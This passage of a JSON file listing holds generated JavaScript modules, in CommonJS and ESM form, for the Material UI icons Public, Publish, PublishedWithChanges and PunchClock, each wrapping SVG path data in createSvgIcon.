    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'PublicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'PublicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.99 4.59V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1h-2v2h6c.55 0 1 .45 1 1v3h1c.89 0 1.64.59 1.9 1.4C19.19 15.98 20 14.08 20 12c0-3.35-2.08-6.23-5.01-7.41M8.99 16v-1l-4.78-4.78C4.08 10.79 4 11.39 4 12c0 4.07 3.06 7.43 6.99 7.93V18c-1.1 0-2-.9-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1.01 17.93C7.06 19.43 4 16.07 4 12c0-.61.08-1.21.21-1.78L8.99 15v1c0 1.1.9 2 2 2zm6.9-2.53c-.26-.81-1-1.4-1.9-1.4h-1v-3c0-.55-.45-1-1-1h-6v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41C17.92 5.77 20 8.65 20 12c0 2.08-.81 3.98-2.11 5.4\"\n}, \"1\")], 'PublicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.99 4.59V5c0 1.1-.9 2-2 2h-2v2c0 .55-.45 1-1 1h-2v2h6c.55 0 1 .45 1 1v3h1c.89 0 1.64.59 1.9 1.4C19.19 15.98 20 14.08 20 12c0-3.35-2.08-6.23-5.01-7.41M8.99 16v-1l-4.78-4.78C4.08 10.79 4 11.39 4 12c0 4.07 3.06 7.43 6.99 7.93V18c-1.1 0-2-.9-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1.01 17.93C7.06 19.43 4 16.07 4 12c0-.61.08-1.21.21-1.78L8.99 15v1c0 1.1.9 2 2 2zm6.9-2.53c-.26-.81-1-1.4-1.9-1.4h-1v-3c0-.55-.45-1-1-1h-6v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41C17.92 5.77 20 8.65 20 12c0 2.08-.81 3.98-2.11 5.4\"\n}, \"1\")], 'PublicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Publish.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4v2h14V4zm0 10h4v6h6v-6h4l-7-7z\"\n}), 'Publish');"
  },
  {
    "path": "packages/mui-icons-material/lib/Publish.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4v2h14V4zm0 10h4v6h6v-6h4l-7-7z\"\n}), 'Publish');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h14v2H5zm0 10h4v6h6v-6h4l-7-7zm8-2v6h-2v-6H9.83L12 9.83 14.17 12z\"\n}), 'PublishOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h14v2H5zm0 10h4v6h6v-6h4l-7-7zm8-2v6h-2v-6H9.83L12 9.83 14.17 12z\"\n}), 'PublishOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1m2.41 9H9v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.71 7.7a.996.996 0 0 0-1.41 0l-4.59 4.59c-.63.63-.19 1.71.7 1.71\"\n}), 'PublishRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1m2.41 9H9v5c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.71 7.7a.996.996 0 0 0-1.41 0l-4.59 4.59c-.63.63-.19 1.71.7 1.71\"\n}), 'PublishRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4v2h14V4zm0 10h4v6h6v-6h4l-7-7z\"\n}), 'PublishSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4v2h14V4zm0 10h4v6h6v-6h4l-7-7z\"\n}), 'PublishSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.83 12H11v6h2v-6h1.17L12 9.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 4h14v2H5zm7 3-7 7h4v6h6v-6h4zm1 5v6h-2v-6H9.83L12 9.83 14.17 12z\"\n}, \"1\")], 'PublishTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.83 12H11v6h2v-6h1.17L12 9.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 4h14v2H5zm7 3-7 7h4v6h6v-6h4zm1 5v6h-2v-6H9.83L12 9.83 14.17 12z\"\n}, \"1\")], 'PublishTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChanges.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChanges');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChanges.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChanges');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.6 19.5H21v2h-6v-6h2v2.73c1.83-1.47 3-3.71 3-6.23 0-4.07-3.06-7.44-7-7.93V2.05c5.05.5 9 4.76 9 9.95 0 2.99-1.32 5.67-3.4 7.5M4 12c0-2.52 1.17-4.77 3-6.23V8.5h2v-6H3v2h2.4C3.32 6.33 2 9.01 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m12.24-3.89-5.66 5.66-2.83-2.83-1.41 1.41 4.24 4.24 7.07-7.07z\"\n}), 'PublishedWithChangesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.6 19.5H21v2h-6v-6h2v2.73c1.83-1.47 3-3.71 3-6.23 0-4.07-3.06-7.44-7-7.93V2.05c5.05.5 9 4.76 9 9.95 0 2.99-1.32 5.67-3.4 7.5M4 12c0-2.52 1.17-4.77 3-6.23V8.5h2v-6H3v2h2.4C3.32 6.33 2 9.01 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m12.24-3.89-5.66 5.66-2.83-2.83-1.41 1.41 4.24 4.24 7.07-7.07z\"\n}), 'PublishedWithChangesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.95 10.23-5.66 5.66c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 4.95-4.95c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41M4 12c0-2.33 1.02-4.42 2.62-5.88l1.53 1.53c.31.31.85.09.85-.36V3c0-.28-.22-.5-.5-.5H4.21c-.45 0-.67.54-.35.85L5.2 4.7C3.24 6.52 2 9.11 2 12c0 4.75 3.32 8.73 7.76 9.75.63.14 1.24-.33 1.24-.98 0-.47-.33-.87-.79-.98C6.66 18.98 4 15.8 4 12m18 0c0-4.75-3.32-8.73-7.76-9.75-.63-.14-1.24.33-1.24.98 0 .47.33.87.79.98C17.34 5.02 20 8.2 20 12c0 2.33-1.02 4.42-2.62 5.88l-1.53-1.53c-.31-.31-.85-.09-.85.36V21c0 .28.22.5.5.5h4.29c.45 0 .67-.54.35-.85L18.8 19.3c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.95 10.23-5.66 5.66c-.39.39-1.02.39-1.41 0l-2.83-2.83a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.12 2.12 4.95-4.95c.39-.39 1.02-.39 1.41 0 .4.39.4 1.02.01 1.41M4 12c0-2.33 1.02-4.42 2.62-5.88l1.53 1.53c.31.31.85.09.85-.36V3c0-.28-.22-.5-.5-.5H4.21c-.45 0-.67.54-.35.85L5.2 4.7C3.24 6.52 2 9.11 2 12c0 4.75 3.32 8.73 7.76 9.75.63.14 1.24-.33 1.24-.98 0-.47-.33-.87-.79-.98C6.66 18.98 4 15.8 4 12m18 0c0-4.75-3.32-8.73-7.76-9.75-.63-.14-1.24.33-1.24.98 0 .47.33.87.79.98C17.34 5.02 20 8.2 20 12c0 2.33-1.02 4.42-2.62 5.88l-1.53-1.53c-.31-.31-.85-.09-.85.36V21c0 .28.22.5.5.5h4.29c.45 0 .67-.54.35-.85L18.8 19.3c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublishedWithChangesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.66 9.53-7.07 7.07-4.24-4.24 1.41-1.41 2.83 2.83 5.66-5.66zM4 12c0-2.33 1.02-4.42 2.62-5.88L9 8.5v-6H3l2.2 2.2C3.24 6.52 2 9.11 2 12c0 5.19 3.95 9.45 9 9.95v-2.02c-3.94-.49-7-3.86-7-7.93m18 0c0-5.19-3.95-9.45-9-9.95v2.02c3.94.49 7 3.86 7 7.93 0 2.33-1.02 4.42-2.62 5.88L15 15.5v6h6l-2.2-2.2c1.96-1.82 3.2-4.41 3.2-7.3\"\n}), 'PublishedWithChangesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClock.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"1\")], 'PunchClock');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClock.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"1\")], 'PunchClock');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm11 17H5V8h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"2\")], 'PunchClockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm11 17H5V8h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m0 8.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"2\")], 'PunchClockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-1V3c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 13.79V12c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2c0 .13.05.26.15.35l1.14 1.14c.2.2.51.2.71 0s.2-.51 0-.71z\"\n}, \"1\")], 'PunchClockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-1V3c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 13.79V12c0-.28-.22-.5-.5-.5s-.5.22-.5.5v2c0 .13.05.26.15.35l1.14 1.14c.2.2.51.2.71 0s.2-.51 0-.71z\"\n}, \"1\")], 'PunchClockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-3V1H6v5H3v16h18zM8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"1\")], 'PunchClockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockSharp.mjs",
